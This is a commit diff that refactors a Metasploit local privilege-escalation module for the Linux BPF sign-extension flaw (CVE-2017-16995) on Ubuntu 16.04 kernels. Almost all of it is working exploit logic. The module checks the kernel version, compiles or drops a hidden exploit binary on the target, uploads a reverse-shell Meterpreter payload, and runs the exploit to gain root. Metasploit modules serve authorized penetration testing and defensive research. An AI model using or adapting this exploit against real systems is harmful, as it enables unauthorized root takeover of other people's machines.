Cleanup and refactor upload_and_compile

GSoC/Meterpreter_Web_Console
Brendan Coles 2018-04-12 16:43:43 +00:00
parent c72ca7544b
commit 9a3064ad7e
1 changed files with 98 additions and 92 deletions

View File

@ -4,107 +4,123 @@
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Exploit::EXE
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
def initialize(info = {})
super( update_info( info,
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter
which contains a vulnerability where it may improperly perform
sign extension. This can be utilized to priv escalate,
this module has been tested on Ubuntu 16.04 with the 4.4.0-116
kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel.
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'bleidl', # discovery
'vnik', # edb
'h00die' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell'],
'References' =>
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'References' =>
[
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'Targets' =>
'Targets' =>
[
[ 'Linux x64', { 'Arch' => ARCH_X64 } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DefaultTarget' => 0,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
},
'DisclosureDate' => 'Nov 12 2017',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
])
'Privileged' => true,
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
]
end
def base_dir
datastore['WritableDir']
end
def command_exists?(cmd)
cmd_exec("command -v #{cmd} && echo true").include? 'true'
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def check
uname = cmd_exec('uname -r')
if uname == '4.4.0-116-generic'
vprint_good('Kernel confirmed vulnerable')
if session.type.to_s.eql? 'meterpreter'
print_error('Exploit can only be run on shells (meterpreter does not work)')
return CheckCode::Safe
end
return CheckCode::Appears
version = kernel_release
unless version.start_with? '4.4.0-116-generic'
vprint_error "Kernel version #{version} is not vulnerable"
end
print_error('Kernel not vulnerable')
CheckCode::Safe
vprint_good "Kernel version #{version} appears to be vulnerable"
if session.type.to_s.eql? 'meterpreter'
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
end
CheckCode::Appears
end
def exploit
# a method to upload files consistently, and compile if necessary
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if compile.nil?
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
else
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
end
cmd_exec("chmod +x #{file_path}")
register_file_for_cleanup(file_path)
if session.type.to_s.eql? 'meterpreter'
fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
end
unless check == CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
compile = false
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if command_exists? 'gcc'
vprint_good 'gcc is installed'
compile = true
else
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
end
c_code = %q{
#include <stdio.h>
#include <stdlib.h>
@ -234,6 +250,7 @@ class MetasploitModule < Msf::Exploit::Local
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
@ -346,52 +363,41 @@ class MetasploitModule < Msf::Exploit::Local
}
filename = rand_text_alpha(8)
exploit_path = "#{datastore['WritableDir']}/#{filename}"
exploit_name = ".#{rand_text_alphanumeric 8..12}"
exploit_path = "#{base_dir}/#{exploit_name}"
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
compile = true if check_gcc?
end
# exploit name must be 7 characters to allow sting replacement
# in the pre-compiled binary
payload_name = ".#{rand_text_alphanumeric 7}"
payload_path = "#{base_dir}/#{payload_name}"
if compile
vprint_status('Live compiling exploit on system')
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
vprint_status 'Live compiling exploit on system...'
c_code.gsub!(%r{/bin/bash}, payload_path)
upload "#{exploit_path}.c", c_code
output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c"
# make our substitutions so things are dynamic
c_code.gsub!(/system\("\/bin\/bash"\);/,
"system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable
print_status('Writing files to target')
#cmd_exec("cd #{datastore['WritableDir']}")
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end
cmd_exec "chmod +x #{exploit_path}"
else
vprint_status('Dropping pre-compiled exploit on system')
compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out')
fd = ::File.open( compiled_path, "rb")
c_code = fd.read(fd.stat.size)
vprint_status 'Dropping pre-compiled exploit on system...'
compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out'
fd = ::File.open compiled_path, 'rb'
exploit_data = fd.read fd.stat.size
fd.close
# use the variable names hard coded in the compiled versions
payload_filename = 'JDQDHtEG'
payload_path = '/tmp/JDQDHtEG'
exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path)
upload_and_chmodx exploit_path, exploit_data
end
upload_and_compile(filename, exploit_path, c_code, compile ? "gcc -o #{exploit_path} #{exploit_path}.c" : nil)
upload_and_compile(payload_filename, payload_path, generate_payload_exe)
print_status("Starting execution of priv esc: #{exploit_path}")
upload_and_chmodx payload_path, generate_payload_exe
output = cmd_exec(exploit_path)
print_status 'Launching exploit...'
output = cmd_exec exploit_path
output.each_line { |line| vprint_status line.chomp }
end
end